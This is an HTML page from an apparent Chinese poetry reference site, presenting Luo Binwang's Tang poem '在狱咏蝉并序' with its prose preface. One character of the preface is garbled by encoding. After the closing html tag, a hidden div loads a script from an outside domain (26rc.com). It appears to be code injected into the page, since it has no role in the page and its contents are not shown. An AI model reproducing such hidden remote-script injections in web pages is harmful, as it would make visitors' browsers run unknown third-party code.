<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱</title>
<link href="../../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh" class="BG_Lnav">
<div class="Top"><a href="../../index.htm" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><span><strong>唐诗三百首</strong></span></div>

<table class="ZL_Cont_tab" cellpadding="0" cellspacing="0">
<tbody>
  <tr>
    <td class="Cont_tbL">
	<!--左侧导航 开始-->
	<div class="NAV_L_Tit">唐诗种类</div>
<a href="../1_index.htm">五言古诗</a><a href="../2_index.htm">五言乐府</a><a href="../6_index.htm">五言绝句</a><a href="../5_index.htm"  class="on">五言律诗</a><a href="../3_index.htm">七言古诗</a><a href="../4_index.htm">七言乐府</a><a href="../7_index.htm">七言绝句</a>
	<!--左侧导航 结束-->
	</td>
    <td style="vertical-align:top">
	<!--右侧内容区 开始-->
	<div class="Cont_tit">
		<h1>
五言律诗
		</h1>
		<span>
律诗，诗体名，近体诗的一种，格律严密，故名。分五言、七言两体，五言简称五律。
		</span>	</div>
	<!--题头结束-->
	<div class="Cont">
		<table class="ts_tab_detail" cellspacing="0" cellpadding="0">
  <tr>
    <td class="ts_det_top">
		<span class="ts_m">
在狱咏蝉并序
		</span>
		<div class="clear"></div>
		<span class="ts_a">
骆宾王
		</span>
	</td>
    </tr>
  <tr>
    <td class="ts_c">
余禁所禁垣西，是法厅事也。<br/>
有古槐数株焉，虽生意可知，<br/>
同殷仲文之古树，而听讼斯在，即周召伯之甘棠。每至夕照低阴，秋蝉疏引，发声幽息，有切尝闻；<br/>
岂人心异於曩时，将虫响悲於前听？嗟乎！声以动容，德以象贤，故洁其身也，禀君子达人之高行；<br/>
蜕其皮也，有仙都羽化之灵姿。候时而来，顺阴阳之数；应节为变，审藏用之机。<br/>
有目斯开，不以道昏而昧其视；有翼自薄，不以俗厚而易其真。<br/>
吟乔树之微风，韵资天纵；饮高秋之坠露，清畏人知。<br/>
仆失路艰虞，遭时徽g，不哀伤而自怨，未摇落而先衰。闻蟪蛄之流声，悟平反之已奏；<br/>
见螳螂之抱影，怯危机之未安。感而缀诗，贻诸知己。庶情沿物应，哀弱羽之飘零；<br/>
道寄人知，悯馀声之寂寞。非谓文墨，取代幽忧云尔。<br/>
西路蝉声唱，南冠客思侵。<br/>
那堪玄鬓影，来对白头吟！<br/>
露重飞难进，风多响易沉。<br/>
无人信高洁，谁为表予心？<br/>

	</td>
    </tr>
  <tr>
    <td class="ts_back">
<input type="button" value="返回" onclick="javascript:location.href='../5_index.htm';"/>
    </td>
    </tr>
</table>

	</div>
	<!--右侧内容区 结束-->
	</td>
  </tr>
</tbody>
</table>

<!--左侧标签 结束-->
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>